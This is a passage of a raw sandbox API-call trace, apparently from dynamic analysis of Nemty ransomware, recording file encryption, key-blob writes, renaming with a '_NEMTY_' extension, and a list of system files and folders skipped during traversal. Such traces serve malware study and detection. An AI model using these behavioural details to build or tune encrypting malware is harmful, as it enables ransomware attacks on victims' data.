(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PassportMask_PAL.wmv", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PassportMask_PAL.wmv", lpUsedDefaultChar=0x0) returned 20 [0094.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0094.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PassportMask_PAL.wmv", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0094.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PassportMask_PAL.wmv", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PassportMask_PAL.wmv", lpUsedDefaultChar=0x0) returned 20 [0094.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0094.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0094.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0094.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PassportMask_PAL.wmv", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0094.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PassportMask_PAL.wmv", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PassportMask_PAL.wmv", lpUsedDefaultChar=0x0) returned 20 [0094.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0094.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0094.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PassportMask_PAL.wmv", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0094.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0094.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PassportMask_PAL.wmv", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PassportMask_PAL.wmv", lpUsedDefaultChar=0x0) returned 20 [0094.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0094.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0094.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0094.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0094.534] Sleep (dwMilliseconds=0x5) [0094.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xec00b290, dwHighDateTime=0x1d561e7)) [0094.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xec00b290, dwHighDateTime=0x1d561e7)) [0094.549] GetLastError () returned 0x5 [0094.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0094.549] GetLastError () returned 0x5 [0094.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0094.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0094.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0094.550] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0094.550] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0094.550] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0094.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0094.550] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="rBR5MNXSLst+r5KAa4A8OoXquJiS9HzflKW2s0/yNS95b0/tiXEECm8ozWPFCKey\r\n+rhIQ6RtoO/i8j1zNpgunNjo61f/SNtb+QkGPna/Ib0C5ONRu06xAIGKw7MjJBQa\r\nGZU5Wole2sOWl/d7D7xFlKE0H8Yi7asJxfTXtWUd0OHF9dg3bWAW67+Wc5M2HTxb\r\nRqS28EiZ5k5VSPYYabjS9bHrhSEfyhW5oHeThdNh4kAMF06UAbrDmL4LCYJmqL0u\r\nxmaspIoeJMhV/Iotilfhn94nwKUGwJchm5i6Jy4kYwnVkadgZLZq0LD3lXp74CrX\r\nw9CwHJLnqRnWo0jwJFf0qg==\r\n", pcchString=0x653e91c) returned 1 [0094.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0094.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0094.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0094.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0094.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0094.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0094.550] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0094.550] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0094.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0094.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.550] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.559] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.560] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.569] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.569] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.578] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.578] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.587] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.587] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.588] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.588] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.597] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.597] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.606] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.606] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.616] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.616] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.625] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.625] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.634] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.634] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.644] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.644] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.650] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.650] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0094.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.656] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.656] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.656] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0094.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0094.656] CloseHandle (hObject=0xffffffff) returned 0 [0094.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0094.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0094.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0094.656] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0094.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0094.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0094.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0094.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0094.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0094.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0094.657] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask_pal.wmv._nemty_kgobjgd_")) returned 0 [0094.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0094.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0094.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0094.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0094.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0094.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0094.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0094.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0094.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0094.657] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.657] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727c06a1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727c06a1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12b9, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="passport_mask_left.png", cAlternateFileName="")) returned 1 [0094.657] lstrcmpiW (lpString1="passport_mask_left.png", lpString2=".") returned 1 [0094.657] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="..") returned 1 [0094.657] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="...") returned 1 [0094.657] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="windows") returned -1 [0094.657] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="$RECYCLE.BIN") returned 1 [0094.657] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="rsa") returned -1 [0094.657] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="NTDETECT.COM") returned 1 [0094.657] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="ntldr") returned 1 [0094.657] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="MSDOS.SYS") returned 1 [0094.657] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="IO.SYS") returned 1 [0094.657] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="boot.ini") returned 1 [0094.657] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="boot.ini") returned 1 [0094.657] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="AUTOEXEC.BAT") returned 1 [0094.657] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="ntuser.dat") returned 1 [0094.657] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="desktop.ini") returned 1 [0094.657] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="CONFIG.SYS") returned 1 [0094.657] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="RECYCLER") returned -1 [0094.657] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="BOOTSECT.BAK") returned 1 [0094.657] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="bootmgr") returned 1 [0094.657] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="programdata") returned -1 [0094.657] lstrcmpiW (lpString1="passport_mask_left.png", lpString2="appdata") returned 1 [0094.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0094.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport_mask_left.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0094.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport_mask_left.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="passport_mask_left.png", lpUsedDefaultChar=0x0) returned 22 [0094.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0094.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport_mask_left.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0094.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport_mask_left.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="passport_mask_left.png", lpUsedDefaultChar=0x0) returned 22 [0094.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0094.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0094.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0094.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0094.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport_mask_left.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0094.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0094.658] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="passport_mask_left.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="passport_mask_left.png", lpUsedDefaultChar=0x0) returned 22 [0094.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 